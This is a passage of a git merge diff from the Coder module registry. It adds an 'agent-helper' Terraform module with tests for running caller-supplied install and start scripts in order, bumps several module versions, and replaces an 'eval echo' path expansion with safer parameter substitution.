Merge branch 'main' into 35C4n0r/feat-agentapi-architecture-improv
This commit is contained in:
commit
d9fd6453dd
@ -13,7 +13,7 @@ Run Codex CLI in your workspace to access OpenAI's models through the Codex inte
|
|||||||
```tf
|
```tf
|
||||||
module "codex" {
|
module "codex" {
|
||||||
source = "registry.coder.com/coder-labs/codex/coder"
|
source = "registry.coder.com/coder-labs/codex/coder"
|
||||||
version = "4.1.0"
|
version = "4.1.1"
|
||||||
agent_id = coder_agent.example.id
|
agent_id = coder_agent.example.id
|
||||||
openai_api_key = var.openai_api_key
|
openai_api_key = var.openai_api_key
|
||||||
workdir = "/home/coder/project"
|
workdir = "/home/coder/project"
|
||||||
@ -32,7 +32,7 @@ module "codex" {
|
|||||||
module "codex" {
|
module "codex" {
|
||||||
count = data.coder_workspace.me.start_count
|
count = data.coder_workspace.me.start_count
|
||||||
source = "registry.coder.com/coder-labs/codex/coder"
|
source = "registry.coder.com/coder-labs/codex/coder"
|
||||||
version = "4.1.0"
|
version = "4.1.1"
|
||||||
agent_id = coder_agent.example.id
|
agent_id = coder_agent.example.id
|
||||||
openai_api_key = "..."
|
openai_api_key = "..."
|
||||||
workdir = "/home/coder/project"
|
workdir = "/home/coder/project"
|
||||||
@ -51,7 +51,7 @@ For tasks integration with AI Bridge, add `enable_aibridge = true` to the [Usage
|
|||||||
```tf
|
```tf
|
||||||
module "codex" {
|
module "codex" {
|
||||||
source = "registry.coder.com/coder-labs/codex/coder"
|
source = "registry.coder.com/coder-labs/codex/coder"
|
||||||
version = "4.1.0"
|
version = "4.1.1"
|
||||||
agent_id = coder_agent.example.id
|
agent_id = coder_agent.example.id
|
||||||
workdir = "/home/coder/project"
|
workdir = "/home/coder/project"
|
||||||
enable_aibridge = true
|
enable_aibridge = true
|
||||||
@ -94,7 +94,7 @@ data "coder_task" "me" {}
|
|||||||
|
|
||||||
module "codex" {
|
module "codex" {
|
||||||
source = "registry.coder.com/coder-labs/codex/coder"
|
source = "registry.coder.com/coder-labs/codex/coder"
|
||||||
version = "4.1.0"
|
version = "4.1.1"
|
||||||
agent_id = coder_agent.example.id
|
agent_id = coder_agent.example.id
|
||||||
openai_api_key = "..."
|
openai_api_key = "..."
|
||||||
ai_prompt = data.coder_task.me.prompt
|
ai_prompt = data.coder_task.me.prompt
|
||||||
@ -112,7 +112,7 @@ This example shows additional configuration options for custom models, MCP serve
|
|||||||
```tf
|
```tf
|
||||||
module "codex" {
|
module "codex" {
|
||||||
source = "registry.coder.com/coder-labs/codex/coder"
|
source = "registry.coder.com/coder-labs/codex/coder"
|
||||||
version = "4.1.0"
|
version = "4.1.1"
|
||||||
agent_id = coder_agent.example.id
|
agent_id = coder_agent.example.id
|
||||||
openai_api_key = "..."
|
openai_api_key = "..."
|
||||||
workdir = "/home/coder/project"
|
workdir = "/home/coder/project"
|
||||||
|
|||||||
@ -131,7 +131,7 @@ variable "install_agentapi" {
|
|||||||
variable "agentapi_version" {
|
variable "agentapi_version" {
|
||||||
type = string
|
type = string
|
||||||
description = "The version of AgentAPI to install."
|
description = "The version of AgentAPI to install."
|
||||||
default = "v0.11.6"
|
default = "v0.11.8"
|
||||||
}
|
}
|
||||||
|
|
||||||
variable "codex_model" {
|
variable "codex_model" {
|
||||||
|
|||||||
65
registry/coder/modules/agent-helper/README.md
Normal file
65
registry/coder/modules/agent-helper/README.md
Normal file
@ -0,0 +1,65 @@
|
|||||||
|
---
|
||||||
|
display_name: Agent Helper
|
||||||
|
description: Building block for modules that need orchestrated script execution
|
||||||
|
icon: ../../../../.icons/coder.svg
|
||||||
|
verified: false
|
||||||
|
tags: [internal, library]
|
||||||
|
---
|
||||||
|
|
||||||
|
# Agent Helper
|
||||||
|
|
||||||
|
> [!CAUTION]
|
||||||
|
> We do not recommend using this module directly. It is intended primarily for internal use by Coder to create modules with orchestrated script execution.
|
||||||
|
|
||||||
|
The Agent Helper module is a building block for modules that need to run multiple scripts in a specific order. It uses `coder exp sync` for dependency management and is designed for orchestrating pre-install, install, post-install, and start scripts.
|
||||||
|
|
||||||
|
> [!NOTE]
|
||||||
|
>
|
||||||
|
> - The `agent_name` should be the same as that of the agentapi module's `agent_name` if used together.
|
||||||
|
|
||||||
|
```tf
|
||||||
|
module "agent_helper" {
|
||||||
|
source = "registry.coder.com/coder/agent-helper/coder"
|
||||||
|
version = "1.0.0"
|
||||||
|
|
||||||
|
agent_id = coder_agent.main.id
|
||||||
|
agent_name = "myagent"
|
||||||
|
module_dir_name = ".my-module"
|
||||||
|
|
||||||
|
pre_install_script = <<-EOT
|
||||||
|
#!/bin/bash
|
||||||
|
echo "Running pre-install tasks..."
|
||||||
|
# Your pre-install logic here
|
||||||
|
EOT
|
||||||
|
|
||||||
|
install_script = <<-EOT
|
||||||
|
#!/bin/bash
|
||||||
|
echo "Installing dependencies..."
|
||||||
|
# Your install logic here
|
||||||
|
EOT
|
||||||
|
|
||||||
|
post_install_script = <<-EOT
|
||||||
|
#!/bin/bash
|
||||||
|
echo "Running post-install configuration..."
|
||||||
|
# Your post-install logic here
|
||||||
|
EOT
|
||||||
|
|
||||||
|
start_script = <<-EOT
|
||||||
|
#!/bin/bash
|
||||||
|
echo "Starting the application..."
|
||||||
|
# Your start logic here
|
||||||
|
EOT
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
## Execution Order
|
||||||
|
|
||||||
|
The module orchestrates scripts in the following order:
|
||||||
|
|
||||||
|
1. **Log File Creation** - Creates module directory and log files
|
||||||
|
2. **Pre-Install Script** (optional) - Runs before installation
|
||||||
|
3. **Install Script** - Main installation
|
||||||
|
4. **Post-Install Script** (optional) - Runs after installation
|
||||||
|
5. **Start Script** - Starts the application
|
||||||
|
|
||||||
|
Each script waits for its prerequisites to complete before running using `coder exp sync` dependency management.
|
||||||
13
registry/coder/modules/agent-helper/main.test.ts
Normal file
13
registry/coder/modules/agent-helper/main.test.ts
Normal file
@ -0,0 +1,13 @@
|
|||||||
|
import { describe } from "bun:test";
|
||||||
|
import { runTerraformInit, testRequiredVariables } from "~test";
|
||||||
|
|
||||||
|
describe("agent-helper", async () => {
|
||||||
|
await runTerraformInit(import.meta.dir);
|
||||||
|
|
||||||
|
testRequiredVariables(import.meta.dir, {
|
||||||
|
agent_id: "test-agent-id",
|
||||||
|
agent_name: "test-agent",
|
||||||
|
module_dir_name: ".test-module",
|
||||||
|
start_script: "echo 'start'",
|
||||||
|
});
|
||||||
|
});
|
||||||
190
registry/coder/modules/agent-helper/main.tf
Normal file
190
registry/coder/modules/agent-helper/main.tf
Normal file
@ -0,0 +1,190 @@
|
|||||||
|
terraform {
|
||||||
|
required_version = ">= 1.0"
|
||||||
|
|
||||||
|
required_providers {
|
||||||
|
coder = {
|
||||||
|
source = "coder/coder"
|
||||||
|
version = ">= 2.13"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
variable "agent_id" {
|
||||||
|
type = string
|
||||||
|
description = "The ID of a Coder agent."
|
||||||
|
}
|
||||||
|
|
||||||
|
data "coder_workspace" "me" {}
|
||||||
|
|
||||||
|
data "coder_workspace_owner" "me" {}
|
||||||
|
|
||||||
|
data "coder_task" "me" {}
|
||||||
|
|
||||||
|
variable "pre_install_script" {
|
||||||
|
type = string
|
||||||
|
description = "Custom script to run before installing the agent used by AgentAPI."
|
||||||
|
default = null
|
||||||
|
}
|
||||||
|
|
||||||
|
variable "install_script" {
|
||||||
|
type = string
|
||||||
|
description = "Script to install the agent used by AgentAPI."
|
||||||
|
default = null
|
||||||
|
}
|
||||||
|
|
||||||
|
variable "post_install_script" {
|
||||||
|
type = string
|
||||||
|
description = "Custom script to run after installing the agent used by AgentAPI."
|
||||||
|
default = null
|
||||||
|
}
|
||||||
|
|
||||||
|
variable "start_script" {
|
||||||
|
type = string
|
||||||
|
description = "Script that starts AgentAPI."
|
||||||
|
}
|
||||||
|
|
||||||
|
variable "agent_name" {
|
||||||
|
type = string
|
||||||
|
description = "The name of the agent. This is used to construct unique script names for the experiment sync."
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
variable "module_dir_name" {
|
||||||
|
type = string
|
||||||
|
description = "The name of the module directory."
|
||||||
|
}
|
||||||
|
|
||||||
|
locals {
|
||||||
|
encoded_pre_install_script = var.pre_install_script != null ? base64encode(var.pre_install_script) : ""
|
||||||
|
encoded_install_script = var.install_script != null ? base64encode(var.install_script) : ""
|
||||||
|
encoded_post_install_script = var.post_install_script != null ? base64encode(var.post_install_script) : ""
|
||||||
|
encoded_start_script = base64encode(var.start_script)
|
||||||
|
|
||||||
|
pre_install_script_name = "${var.agent_name}-pre_install_script"
|
||||||
|
install_script_name = "${var.agent_name}-install_script"
|
||||||
|
post_install_script_name = "${var.agent_name}-post_install_script"
|
||||||
|
start_script_name = "${var.agent_name}-start_script"
|
||||||
|
|
||||||
|
module_dir_path = "$HOME/${var.module_dir_name}"
|
||||||
|
|
||||||
|
pre_install_path = "${local.module_dir_path}/pre_install.sh"
|
||||||
|
install_path = "${local.module_dir_path}/install.sh"
|
||||||
|
post_install_path = "${local.module_dir_path}/post_install.sh"
|
||||||
|
start_path = "${local.module_dir_path}/start.sh"
|
||||||
|
|
||||||
|
pre_install_log_path = "${local.module_dir_path}/pre_install.log"
|
||||||
|
install_log_path = "${local.module_dir_path}/install.log"
|
||||||
|
post_install_log_path = "${local.module_dir_path}/post_install.log"
|
||||||
|
start_log_path = "${local.module_dir_path}/start.log"
|
||||||
|
}
|
||||||
|
|
||||||
|
resource "coder_script" "pre_install_script" {
|
||||||
|
count = var.pre_install_script == null ? 0 : 1
|
||||||
|
agent_id = var.agent_id
|
||||||
|
display_name = "Pre-Install Script"
|
||||||
|
run_on_start = true
|
||||||
|
script = <<-EOT
|
||||||
|
#!/bin/bash
|
||||||
|
set -o errexit
|
||||||
|
set -o pipefail
|
||||||
|
|
||||||
|
mkdir -p ${local.module_dir_path}
|
||||||
|
|
||||||
|
trap 'coder exp sync complete ${local.pre_install_script_name}' EXIT
|
||||||
|
coder exp sync start ${local.pre_install_script_name}
|
||||||
|
|
||||||
|
echo -n '${local.encoded_pre_install_script}' | base64 -d > ${local.pre_install_path}
|
||||||
|
chmod +x ${local.pre_install_path}
|
||||||
|
|
||||||
|
${local.pre_install_path} > ${local.pre_install_log_path} 2>&1
|
||||||
|
EOT
|
||||||
|
}
|
||||||
|
|
||||||
|
resource "coder_script" "install_script" {
|
||||||
|
agent_id = var.agent_id
|
||||||
|
display_name = "Install Script"
|
||||||
|
run_on_start = true
|
||||||
|
script = <<-EOT
|
||||||
|
#!/bin/bash
|
||||||
|
set -o errexit
|
||||||
|
set -o pipefail
|
||||||
|
|
||||||
|
mkdir -p ${local.module_dir_path}
|
||||||
|
|
||||||
|
trap 'coder exp sync complete ${local.install_script_name}' EXIT
|
||||||
|
%{if var.pre_install_script != null~}
|
||||||
|
coder exp sync want ${local.install_script_name} ${local.pre_install_script_name}
|
||||||
|
%{endif~}
|
||||||
|
coder exp sync start ${local.install_script_name}
|
||||||
|
echo -n '${local.encoded_install_script}' | base64 -d > ${local.install_path}
|
||||||
|
chmod +x ${local.install_path}
|
||||||
|
|
||||||
|
${local.install_path} > ${local.install_log_path} 2>&1
|
||||||
|
EOT
|
||||||
|
}
|
||||||
|
|
||||||
|
resource "coder_script" "post_install_script" {
|
||||||
|
count = var.post_install_script != null ? 1 : 0
|
||||||
|
agent_id = var.agent_id
|
||||||
|
display_name = "Post-Install Script"
|
||||||
|
run_on_start = true
|
||||||
|
script = <<-EOT
|
||||||
|
#!/bin/bash
|
||||||
|
set -o errexit
|
||||||
|
set -o pipefail
|
||||||
|
|
||||||
|
trap 'coder exp sync complete ${local.post_install_script_name}' EXIT
|
||||||
|
coder exp sync want ${local.post_install_script_name} ${local.install_script_name}
|
||||||
|
coder exp sync start ${local.post_install_script_name}
|
||||||
|
|
||||||
|
echo -n '${local.encoded_post_install_script}' | base64 -d > ${local.post_install_path}
|
||||||
|
chmod +x ${local.post_install_path}
|
||||||
|
|
||||||
|
${local.post_install_path} > ${local.post_install_log_path} 2>&1
|
||||||
|
EOT
|
||||||
|
}
|
||||||
|
|
||||||
|
resource "coder_script" "start_script" {
|
||||||
|
agent_id = var.agent_id
|
||||||
|
display_name = "Start Script"
|
||||||
|
run_on_start = true
|
||||||
|
script = <<-EOT
|
||||||
|
#!/bin/bash
|
||||||
|
set -o errexit
|
||||||
|
set -o pipefail
|
||||||
|
|
||||||
|
trap 'coder exp sync complete ${local.start_script_name}' EXIT
|
||||||
|
|
||||||
|
%{if var.post_install_script != null~}
|
||||||
|
coder exp sync want ${local.start_script_name} ${local.install_script_name} ${local.post_install_script_name}
|
||||||
|
%{else~}
|
||||||
|
coder exp sync want ${local.start_script_name} ${local.install_script_name}
|
||||||
|
%{endif~}
|
||||||
|
coder exp sync start ${local.start_script_name}
|
||||||
|
|
||||||
|
echo -n '${local.encoded_start_script}' | base64 -d > ${local.start_path}
|
||||||
|
chmod +x ${local.start_path}
|
||||||
|
|
||||||
|
${local.start_path} > ${local.start_log_path} 2>&1
|
||||||
|
EOT
|
||||||
|
}
|
||||||
|
|
||||||
|
output "pre_install_script_name" {
|
||||||
|
description = "The name of the pre-install script for sync."
|
||||||
|
value = local.pre_install_script_name
|
||||||
|
}
|
||||||
|
|
||||||
|
output "install_script_name" {
|
||||||
|
description = "The name of the install script for sync."
|
||||||
|
value = local.install_script_name
|
||||||
|
}
|
||||||
|
|
||||||
|
output "post_install_script_name" {
|
||||||
|
description = "The name of the post-install script for sync."
|
||||||
|
value = local.post_install_script_name
|
||||||
|
}
|
||||||
|
|
||||||
|
output "start_script_name" {
|
||||||
|
description = "The name of the start script for sync."
|
||||||
|
value = local.start_script_name
|
||||||
|
}
|
||||||
271
registry/coder/modules/agent-helper/main.tftest.hcl
Normal file
271
registry/coder/modules/agent-helper/main.tftest.hcl
Normal file
@ -0,0 +1,271 @@
|
|||||||
|
# Test for agent-helper module
|
||||||
|
|
||||||
|
# Test with all scripts provided
|
||||||
|
run "test_with_all_scripts" {
|
||||||
|
command = plan
|
||||||
|
|
||||||
|
variables {
|
||||||
|
agent_id = "test-agent-id"
|
||||||
|
agent_name = "test-agent"
|
||||||
|
module_dir_name = ".test-module"
|
||||||
|
pre_install_script = "echo 'pre-install'"
|
||||||
|
install_script = "echo 'install'"
|
||||||
|
post_install_script = "echo 'post-install'"
|
||||||
|
start_script = "echo 'start'"
|
||||||
|
}
|
||||||
|
|
||||||
|
# Verify pre_install_script is created when provided
|
||||||
|
assert {
|
||||||
|
condition = length(coder_script.pre_install_script) == 1
|
||||||
|
error_message = "Pre-install script should be created when pre_install_script is provided"
|
||||||
|
}
|
||||||
|
|
||||||
|
assert {
|
||||||
|
condition = coder_script.pre_install_script[0].agent_id == "test-agent-id"
|
||||||
|
error_message = "Pre-install script agent ID should match input"
|
||||||
|
}
|
||||||
|
|
||||||
|
assert {
|
||||||
|
condition = coder_script.pre_install_script[0].display_name == "Pre-Install Script"
|
||||||
|
error_message = "Pre-install script should have correct display name"
|
||||||
|
}
|
||||||
|
|
||||||
|
assert {
|
||||||
|
condition = coder_script.pre_install_script[0].run_on_start == true
|
||||||
|
error_message = "Pre-install script should run on start"
|
||||||
|
}
|
||||||
|
|
||||||
|
# Verify install_script is created
|
||||||
|
assert {
|
||||||
|
condition = coder_script.install_script.agent_id == "test-agent-id"
|
||||||
|
error_message = "Install script agent ID should match input"
|
||||||
|
}
|
||||||
|
|
||||||
|
assert {
|
||||||
|
condition = coder_script.install_script.display_name == "Install Script"
|
||||||
|
error_message = "Install script should have correct display name"
|
||||||
|
}
|
||||||
|
|
||||||
|
assert {
|
||||||
|
condition = coder_script.install_script.run_on_start == true
|
||||||
|
error_message = "Install script should run on start"
|
||||||
|
}
|
||||||
|
|
||||||
|
# Verify post_install_script is created when provided
|
||||||
|
assert {
|
||||||
|
condition = length(coder_script.post_install_script) == 1
|
||||||
|
error_message = "Post-install script should be created when post_install_script is provided"
|
||||||
|
}
|
||||||
|
|
||||||
|
assert {
|
||||||
|
condition = coder_script.post_install_script[0].agent_id == "test-agent-id"
|
||||||
|
error_message = "Post-install script agent ID should match input"
|
||||||
|
}
|
||||||
|
|
||||||
|
assert {
|
||||||
|
condition = coder_script.post_install_script[0].display_name == "Post-Install Script"
|
||||||
|
error_message = "Post-install script should have correct display name"
|
||||||
|
}
|
||||||
|
|
||||||
|
assert {
|
||||||
|
condition = coder_script.post_install_script[0].run_on_start == true
|
||||||
|
error_message = "Post-install script should run on start"
|
||||||
|
}
|
||||||
|
|
||||||
|
# Verify start_script is created
|
||||||
|
assert {
|
||||||
|
condition = coder_script.start_script.agent_id == "test-agent-id"
|
||||||
|
error_message = "Start script agent ID should match input"
|
||||||
|
}
|
||||||
|
|
||||||
|
assert {
|
||||||
|
condition = coder_script.start_script.display_name == "Start Script"
|
||||||
|
error_message = "Start script should have correct display name"
|
||||||
|
}
|
||||||
|
|
||||||
|
assert {
|
||||||
|
condition = coder_script.start_script.run_on_start == true
|
||||||
|
error_message = "Start script should run on start"
|
||||||
|
}
|
||||||
|
|
||||||
|
# Verify outputs for script names
|
||||||
|
assert {
|
||||||
|
condition = output.pre_install_script_name == "test-agent-pre_install_script"
|
||||||
|
error_message = "Pre-install script name output should be correctly formatted"
|
||||||
|
}
|
||||||
|
|
||||||
|
assert {
|
||||||
|
condition = output.install_script_name == "test-agent-install_script"
|
||||||
|
error_message = "Install script name output should be correctly formatted"
|
||||||
|
}
|
||||||
|
|
||||||
|
assert {
|
||||||
|
condition = output.post_install_script_name == "test-agent-post_install_script"
|
||||||
|
error_message = "Post-install script name output should be correctly formatted"
|
||||||
|
}
|
||||||
|
|
||||||
|
assert {
|
||||||
|
condition = output.start_script_name == "test-agent-start_script"
|
||||||
|
error_message = "Start script name output should be correctly formatted"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
# Test with only required scripts (no pre/post install)
|
||||||
|
run "test_without_optional_scripts" {
|
||||||
|
command = plan
|
||||||
|
|
||||||
|
variables {
|
||||||
|
agent_id = "test-agent-id"
|
||||||
|
agent_name = "test-agent"
|
||||||
|
module_dir_name = ".test-module"
|
||||||
|
install_script = "echo 'install'"
|
||||||
|
start_script = "echo 'start'"
|
||||||
|
}
|
||||||
|
|
||||||
|
# Verify pre_install_script is NOT created when not provided
|
||||||
|
assert {
|
||||||
|
condition = length(coder_script.pre_install_script) == 0
|
||||||
|
error_message = "Pre-install script should not be created when pre_install_script is null"
|
||||||
|
}
|
||||||
|
|
||||||
|
# Verify post_install_script is NOT created when not provided
|
||||||
|
assert {
|
||||||
|
condition = length(coder_script.post_install_script) == 0
|
||||||
|
error_message = "Post-install script should not be created when post_install_script is null"
|
||||||
|
}
|
||||||
|
|
||||||
|
# Verify required scripts are still created
|
||||||
|
assert {
|
||||||
|
condition = coder_script.install_script.agent_id == "test-agent-id"
|
||||||
|
error_message = "Install script should be created"
|
||||||
|
}
|
||||||
|
|
||||||
|
assert {
|
||||||
|
condition = coder_script.start_script.agent_id == "test-agent-id"
|
||||||
|
error_message = "Start script should be created"
|
||||||
|
}
|
||||||
|
|
||||||
|
# Verify outputs
|
||||||
|
assert {
|
||||||
|
condition = output.pre_install_script_name == "test-agent-pre_install_script"
|
||||||
|
error_message = "Pre-install script name output should be generated even when script is not created"
|
||||||
|
}
|
||||||
|
|
||||||
|
assert {
|
||||||
|
condition = output.install_script_name == "test-agent-install_script"
|
||||||
|
error_message = "Install script name output should be correctly formatted"
|
||||||
|
}
|
||||||
|
|
||||||
|
assert {
|
||||||
|
condition = output.post_install_script_name == "test-agent-post_install_script"
|
||||||
|
error_message = "Post-install script name output should be generated even when script is not created"
|
||||||
|
}
|
||||||
|
|
||||||
|
assert {
|
||||||
|
condition = output.start_script_name == "test-agent-start_script"
|
||||||
|
error_message = "Start script name output should be correctly formatted"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
# Test with mock data sources
|
||||||
|
run "test_with_mock_data" {
|
||||||
|
command = plan
|
||||||
|
|
||||||
|
variables {
|
||||||
|
agent_id = "mock-agent"
|
||||||
|
agent_name = "mock-agent"
|
||||||
|
module_dir_name = ".mock-module"
|
||||||
|
install_script = "echo 'install'"
|
||||||
|
start_script = "echo 'start'"
|
||||||
|
}
|
||||||
|
|
||||||
|
# Mock the data sources for testing
|
||||||
|
override_data {
|
||||||
|
target = data.coder_workspace.me
|
||||||
|
values = {
|
||||||
|
id = "test-workspace-id"
|
||||||
|
name = "test-workspace"
|
||||||
|
owner = "test-owner"
|
||||||
|
owner_id = "test-owner-id"
|
||||||
|
template_id = "test-template-id"
|
||||||
|
template_name = "test-template"
|
||||||
|
access_url = "https://coder.example.com"
|
||||||
|
start_count = 1
|
||||||
|
transition = "start"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
override_data {
|
||||||
|
target = data.coder_workspace_owner.me
|
||||||
|
values = {
|
||||||
|
id = "test-owner-id"
|
||||||
|
email = "test@example.com"
|
||||||
|
name = "Test User"
|
||||||
|
session_token = "mock-token"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
override_data {
|
||||||
|
target = data.coder_task.me
|
||||||
|
values = {
|
||||||
|
id = "test-task-id"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
# Verify scripts are created with mocked data
|
||||||
|
assert {
|
||||||
|
condition = coder_script.install_script.agent_id == "mock-agent"
|
||||||
|
error_message = "Install script should use the mocked agent ID"
|
||||||
|
}
|
||||||
|
|
||||||
|
assert {
|
||||||
|
condition = coder_script.start_script.agent_id == "mock-agent"
|
||||||
|
error_message = "Start script should use the mocked agent ID"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
# Test script naming with custom agent_name
|
||||||
|
run "test_script_naming" {
|
||||||
|
command = plan
|
||||||
|
|
||||||
|
variables {
|
||||||
|
agent_id = "test-agent"
|
||||||
|
agent_name = "custom-name"
|
||||||
|
module_dir_name = ".test-module"
|
||||||
|
install_script = "echo 'install'"
|
||||||
|
start_script = "echo 'start'"
|
||||||
|
}
|
||||||
|
|
||||||
|
# Verify script names are constructed correctly
|
||||||
|
# The script should contain references to custom-name-* in the sync commands
|
||||||
|
assert {
|
||||||
|
condition = can(regex("custom-name-install_script", coder_script.install_script.script))
|
||||||
|
error_message = "Install script should use custom agent_name in sync commands"
|
||||||
|
}
|
||||||
|
|
||||||
|
assert {
|
||||||
|
condition = can(regex("custom-name-start_script", coder_script.start_script.script))
|
||||||
|
error_message = "Start script should use custom agent_name in sync commands"
|
||||||
|
}
|
||||||
|
|
||||||
|
# Verify outputs use custom agent_name
|
||||||
|
assert {
|
||||||
|
condition = output.pre_install_script_name == "custom-name-pre_install_script"
|
||||||
|
error_message = "Pre-install script name output should use custom agent_name"
|
||||||
|
}
|
||||||
|
|
||||||
|
assert {
|
||||||
|
condition = output.install_script_name == "custom-name-install_script"
|
||||||
|
error_message = "Install script name output should use custom agent_name"
|
||||||
|
}
|
||||||
|
|
||||||
|
assert {
|
||||||
|
condition = output.post_install_script_name == "custom-name-post_install_script"
|
||||||
|
error_message = "Post-install script name output should use custom agent_name"
|
||||||
|
}
|
||||||
|
|
||||||
|
assert {
|
||||||
|
condition = output.start_script_name == "custom-name-start_script"
|
||||||
|
error_message = "Start script name output should use custom agent_name"
|
||||||
|
}
|
||||||
|
}
|
||||||
@ -12,7 +12,8 @@ ARG_CLAUDE_CODE_VERSION=${ARG_CLAUDE_CODE_VERSION:-}
|
|||||||
ARG_WORKDIR=${ARG_WORKDIR:-"$HOME"}
|
ARG_WORKDIR=${ARG_WORKDIR:-"$HOME"}
|
||||||
ARG_INSTALL_CLAUDE_CODE=${ARG_INSTALL_CLAUDE_CODE:-}
|
ARG_INSTALL_CLAUDE_CODE=${ARG_INSTALL_CLAUDE_CODE:-}
|
||||||
ARG_CLAUDE_BINARY_PATH=${ARG_CLAUDE_BINARY_PATH:-"$HOME/.local/bin"}
|
ARG_CLAUDE_BINARY_PATH=${ARG_CLAUDE_BINARY_PATH:-"$HOME/.local/bin"}
|
||||||
ARG_CLAUDE_BINARY_PATH=$(eval echo "$ARG_CLAUDE_BINARY_PATH")
|
ARG_CLAUDE_BINARY_PATH="${ARG_CLAUDE_BINARY_PATH/#\~/$HOME}"
|
||||||
|
ARG_CLAUDE_BINARY_PATH="${ARG_CLAUDE_BINARY_PATH//\$HOME/$HOME}"
|
||||||
ARG_INSTALL_VIA_NPM=${ARG_INSTALL_VIA_NPM:-false}
|
ARG_INSTALL_VIA_NPM=${ARG_INSTALL_VIA_NPM:-false}
|
||||||
ARG_REPORT_TASKS=${ARG_REPORT_TASKS:-true}
|
ARG_REPORT_TASKS=${ARG_REPORT_TASKS:-true}
|
||||||
ARG_MCP_APP_STATUS_SLUG=${ARG_MCP_APP_STATUS_SLUG:-}
|
ARG_MCP_APP_STATUS_SLUG=${ARG_MCP_APP_STATUS_SLUG:-}
|
||||||
|
|||||||
@ -3,7 +3,8 @@
|
|||||||
set -euo pipefail
|
set -euo pipefail
|
||||||
|
|
||||||
ARG_CLAUDE_BINARY_PATH=${ARG_CLAUDE_BINARY_PATH:-"$HOME/.local/bin"}
|
ARG_CLAUDE_BINARY_PATH=${ARG_CLAUDE_BINARY_PATH:-"$HOME/.local/bin"}
|
||||||
ARG_CLAUDE_BINARY_PATH=$(eval echo "$ARG_CLAUDE_BINARY_PATH")
|
ARG_CLAUDE_BINARY_PATH="${ARG_CLAUDE_BINARY_PATH/#\~/$HOME}"
|
||||||
|
ARG_CLAUDE_BINARY_PATH="${ARG_CLAUDE_BINARY_PATH//\$HOME/$HOME}"
|
||||||
|
|
||||||
export PATH="$ARG_CLAUDE_BINARY_PATH:$PATH"
|
export PATH="$ARG_CLAUDE_BINARY_PATH:$PATH"
|
||||||
|
|
||||||
|
|||||||
@ -18,7 +18,7 @@ Under the hood, this module uses the [coder dotfiles](https://coder.com/docs/v2/
|
|||||||
module "dotfiles" {
|
module "dotfiles" {
|
||||||
count = data.coder_workspace.me.start_count
|
count = data.coder_workspace.me.start_count
|
||||||
source = "registry.coder.com/coder/dotfiles/coder"
|
source = "registry.coder.com/coder/dotfiles/coder"
|
||||||
version = "1.2.3"
|
version = "1.2.4"
|
||||||
agent_id = coder_agent.example.id
|
agent_id = coder_agent.example.id
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
@ -31,7 +31,7 @@ module "dotfiles" {
|
|||||||
module "dotfiles" {
|
module "dotfiles" {
|
||||||
count = data.coder_workspace.me.start_count
|
count = data.coder_workspace.me.start_count
|
||||||
source = "registry.coder.com/coder/dotfiles/coder"
|
source = "registry.coder.com/coder/dotfiles/coder"
|
||||||
version = "1.2.3"
|
version = "1.2.4"
|
||||||
agent_id = coder_agent.example.id
|
agent_id = coder_agent.example.id
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
@ -42,7 +42,7 @@ module "dotfiles" {
|
|||||||
module "dotfiles" {
|
module "dotfiles" {
|
||||||
count = data.coder_workspace.me.start_count
|
count = data.coder_workspace.me.start_count
|
||||||
source = "registry.coder.com/coder/dotfiles/coder"
|
source = "registry.coder.com/coder/dotfiles/coder"
|
||||||
version = "1.2.3"
|
version = "1.2.4"
|
||||||
agent_id = coder_agent.example.id
|
agent_id = coder_agent.example.id
|
||||||
user = "root"
|
user = "root"
|
||||||
}
|
}
|
||||||
@ -54,14 +54,14 @@ module "dotfiles" {
|
|||||||
module "dotfiles" {
|
module "dotfiles" {
|
||||||
count = data.coder_workspace.me.start_count
|
count = data.coder_workspace.me.start_count
|
||||||
source = "registry.coder.com/coder/dotfiles/coder"
|
source = "registry.coder.com/coder/dotfiles/coder"
|
||||||
version = "1.2.3"
|
version = "1.2.4"
|
||||||
agent_id = coder_agent.example.id
|
agent_id = coder_agent.example.id
|
||||||
}
|
}
|
||||||
|
|
||||||
module "dotfiles-root" {
|
module "dotfiles-root" {
|
||||||
count = data.coder_workspace.me.start_count
|
count = data.coder_workspace.me.start_count
|
||||||
source = "registry.coder.com/coder/dotfiles/coder"
|
source = "registry.coder.com/coder/dotfiles/coder"
|
||||||
version = "1.2.3"
|
version = "1.2.4"
|
||||||
agent_id = coder_agent.example.id
|
agent_id = coder_agent.example.id
|
||||||
user = "root"
|
user = "root"
|
||||||
dotfiles_uri = module.dotfiles.dotfiles_uri
|
dotfiles_uri = module.dotfiles.dotfiles_uri
|
||||||
@ -76,7 +76,7 @@ You can set a default dotfiles repository for all users by setting the `default_
|
|||||||
module "dotfiles" {
|
module "dotfiles" {
|
||||||
count = data.coder_workspace.me.start_count
|
count = data.coder_workspace.me.start_count
|
||||||
source = "registry.coder.com/coder/dotfiles/coder"
|
source = "registry.coder.com/coder/dotfiles/coder"
|
||||||
version = "1.2.3"
|
version = "1.2.4"
|
||||||
agent_id = coder_agent.example.id
|
agent_id = coder_agent.example.id
|
||||||
default_dotfiles_uri = "https://github.com/coder/dotfiles"
|
default_dotfiles_uri = "https://github.com/coder/dotfiles"
|
||||||
}
|
}
|
||||||
|
|||||||
@ -12,20 +12,47 @@ describe("dotfiles", async () => {
|
|||||||
agent_id: "foo",
|
agent_id: "foo",
|
||||||
});
|
});
|
||||||
|
|
||||||
it("default output", async () => {
|
it("default output is empty string", async () => {
|
||||||
const state = await runTerraformApply(import.meta.dir, {
|
const state = await runTerraformApply(import.meta.dir, {
|
||||||
agent_id: "foo",
|
agent_id: "foo",
|
||||||
});
|
});
|
||||||
expect(state.outputs.dotfiles_uri.value).toBe("");
|
expect(state.outputs.dotfiles_uri.value).toBe("");
|
||||||
});
|
});
|
||||||
|
|
||||||
it("set a default dotfiles_uri", async () => {
|
